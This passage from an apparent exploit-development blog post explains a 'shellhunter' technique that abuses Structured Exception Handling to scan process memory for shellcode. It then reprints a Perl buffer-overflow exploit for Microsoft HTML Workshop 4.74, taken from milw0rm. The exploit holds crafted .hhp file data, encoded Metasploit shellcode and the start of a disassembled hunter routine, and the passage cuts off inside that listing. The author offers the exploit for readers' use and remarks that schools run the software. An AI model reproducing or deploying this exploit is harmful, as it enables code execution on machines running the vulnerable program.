<li>The applications memory is a huge range from 0&#215;00000000 to just below kernel base which is, 0x7fffffff. The shellhunter must search through the memory in speed, so that the shellcode will be executed fast.</li>
<li>Also, but I&#8217;ll discuss about this later, the stack layout has to be repaired by the shellhunter..</li>
</ul>
<p>Wow, a <span style="text-decoration: underline;">load</span> of problems.</p>
<p>Now I will write up how I solved them.</p>
<p><span style="text-decoration: underline;">Access Violation problem when reading invalid memory</span></p>
<p>The first method that came to mind was to use the Structured Exception Handling, and that is the method I am using.</p>
<p>Basically the SEH, will handle exceptions when an exception is thrown out it will change the program flow to the address that is in SEH structure. It is in the basic form a linked list type, this is its layout on the stack:</p>
<p><span style="color: #99cc00;"><strong>[ Pointer to the next SEH record]</strong></span></p>
<p><span style="color: #99cc00;"><strong>[Pointer to exception handler code] </strong></span></p>
<p>Altogether it will occupy 8 bytes on the stack. Using it to our advantage we will need to make the &#8220;Pointer to exception handler code&#8221; point to our injected code from the overflowed buffer. And in our case, the Pointer to the next SEH record will be set to -1, which in hex form is 0xffffffff.</p>
<p>If you read the shellhunter code correctly you will say its sort of a loop. And you are right. It is a loop that it searches for the &#8220;lookout&#8221; value, if invalid, exception occurs and then again all over we set up SEH and check for &#8220;lookout&#8221;.</p>
<p><span style="text-decoration: underline;">Save the current address variable somewhere in the heap</span></p>
<p>In this problem I used the address <span style="color: #99cc00;">0x7ffdfad0</span>. Before setting up SEH, it will retrieve the variable at the address and before checking the value with a CMP, so not to lose the address, it will store it at that address.</p>
<p><span style="text-decoration: underline;">Speedy search through memory</span></p>
<p>At the beginning when the shellhunter was in a premature phase, it searched through 4 bytes at a time. Trust me, It took a lot of time. To solve the problem, I used <span style="color: #99cc00;">32</span> bytes. But this also needed to increase the amount of &#8220;lookout&#8221; values that needed to be in the memory so the shellhunter would find it guaranteed (you can see that there are over <span style="color: #99cc00;">64*4</span> bytes of &#8220;lookout&#8221; value in the exploit!).</p>
<p><span style="text-decoration: underline;">Repairing the Stack layout</span></p>
<p>This was one of the last problems I encountered when writing the shellhunter. I noticed that when SEH was called and the appropriate modules made their calls and other calculations, the stack would change. It would approximately decrease the ESP register by a couple hundred bytes. We cannot afford to have that because when the ESP register becomes a very low value, a stack overflow exception occurs, and when that is handled there is no space for any SEH to be set up! So to repair the stack I added bytes to the stack at every loop of the shellhunter also using a few pops/pushs instructions to increase the certain measure.</p>
<p>That&#8217;s all that you need to know that was added! Certainly, a shellhunter is a must-use in some cases for exploitation and I hope that you can implement the method for your exploits (do remember to credit me ;) )! If you got any problems with writing your certain exploit, and need a shellhunter, don&#8217;t hesitate to contact me at skdrat&lt;at&gt;hotmail&lt;.&gt;com (MSN Messenger).</p>
<p>Read the exploit below, and enjoy it!</p>
<p>Milw0rm exploit URL: <strong><span style="color: #99cc00;">http://milw0rm.com/exploits/7727</span></strong></p>
<p>Exploit:</p>
<pre><span style="color: #808080;">
</span></pre>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
</pre></td><td class="code"><pre class="perl" style="font-family:monospace;">&nbsp;
    <span style="color: #666666; font-style: italic;">#!/usr/bin/perl</span>
    <span style="color: #666666; font-style: italic;"># Microsoft HTML Workshop &lt;= 4.74 Universal Buffer Overflow Exploit</span>
    <span style="color: #666666; font-style: italic;"># -----------------------------------------------------------------</span>
    <span style="color: #666666; font-style: italic;"># Discovered/Exploit by SkD                    (skdrat@hotmail.com)</span>
    <span style="color: #666666; font-style: italic;"># -----------------------------------------------------------------</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># This is a continuation of my new method, shellhunting.</span>
    <span style="color: #666666; font-style: italic;"># The exploit is far more advanced than the Amaya's as it runs on</span>
    <span style="color: #666666; font-style: italic;"># every system, partly because the shellhunter itself is very much</span>
    <span style="color: #666666; font-style: italic;"># reliable and universal.</span>
    <span style="color: #666666; font-style: italic;"># The shellhunter does the following tasks to find and exec.</span>
    <span style="color: #666666; font-style: italic;"># shellcode:-</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># 1- Searches through the whole memory of the application.</span>
    <span style="color: #666666; font-style: italic;"># 2- Installs a SEH handler so on access violations it won't</span>
    <span style="color: #666666; font-style: italic;">#    stop hunting for the shellcode.</span>
    <span style="color: #666666; font-style: italic;"># 3- Repairs stack so a stack overflow won't occur (that is what</span>
    <span style="color: #666666; font-style: italic;">#    happens when the SEH is called up, many PUSH instructions</span>
    <span style="color: #666666; font-style: italic;">#    are called from the relevant modules (ntdll, etc).</span>
    <span style="color: #666666; font-style: italic;"># 4- Improved speed by searching through 32 bytes at a time.</span>
    <span style="color: #666666; font-style: italic;"># 5- Uses a certain address in memory to store a variable for the</span>
    <span style="color: #666666; font-style: italic;">#    search.</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># It is very stable and will allow any shellcode (bind/reverse shell,</span>
    <span style="color: #666666; font-style: italic;"># dl/exec). It will work on ALL Windows NT versions (2k, XP, Vista).</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># Yeah, I guess that's about it. Took me a few hours to figure out the</span>
    <span style="color: #666666; font-style: italic;"># whole thing but nothing is impossible ;).</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># Oh, I think some schools use this software :) (it's Microsoft's, right?).</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># You can download the app. from Microsoft's official page:</span>
    <span style="color: #666666; font-style: italic;"># -&gt;  http://msdn.microsoft.com/en-us/library/ms669985.aspx</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># If you are interested in my method and want to learn something new or</span>
    <span style="color: #666666; font-style: italic;"># improve your exploitation skills then visit my team's blog at:</span>
    <span style="color: #666666; font-style: italic;"># -&gt;  http://abysssec.com</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># Peace out,</span>
    <span style="color: #666666; font-style: italic;"># SkD.</span>
&nbsp;
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$hhp_data1</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>5B<span style="color: #000099; font-weight: bold;">\x</span>4F<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4F<span style="color: #000099; font-weight: bold;">\x</span>4E<span style="color: #000099; font-weight: bold;">\x</span>53&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>5D<span style="color: #000099; font-weight: bold;">\x</span>0D<span style="color: #000099; font-weight: bold;">\x</span>0A<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>6F<span style="color: #000099; font-weight: bold;">\x</span>6E<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>65&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6E<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>6C<span style="color: #000099; font-weight: bold;">\x</span>65&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>3D<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>0D<span style="color: #000099; font-weight: bold;">\x</span>0A<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>6E<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>65&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>6C<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>3D&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$hhp_data2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>5B<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4C<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>5D<span style="color: #000099; font-weight: bold;">\x</span>0D&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>0A<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>2E<span style="color: #000099; font-weight: bold;">\x</span>68<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>6D&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$crlf</span>      <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>0d<span style="color: #000099; font-weight: bold;">\x</span>0a&quot;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;"># win32_exec -  EXITFUNC=seh CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$shellcode</span> <span style="color: #339933;">=</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>46&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>32&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>6e&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>52&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>36&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4d&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>6d<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>39&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>6b&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>56&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>45&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>79<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>45&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>6d<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>77<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>79<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>6b&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>73&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>76<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>69&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>31&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>79<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>52&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>46&quot;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">#/----------------Advanced Shellhunter Code----------------\</span>
    <span style="color: #666666; font-style: italic;">#01D717DD   EB 1E            JMP SHORT 01D717FD            |</span>
    <span style="color: #666666; font-style: italic;">#01D717DF   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717E2   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717E5   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717E8   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717EB   83C4 64          ADD ESP,64                    |</span>
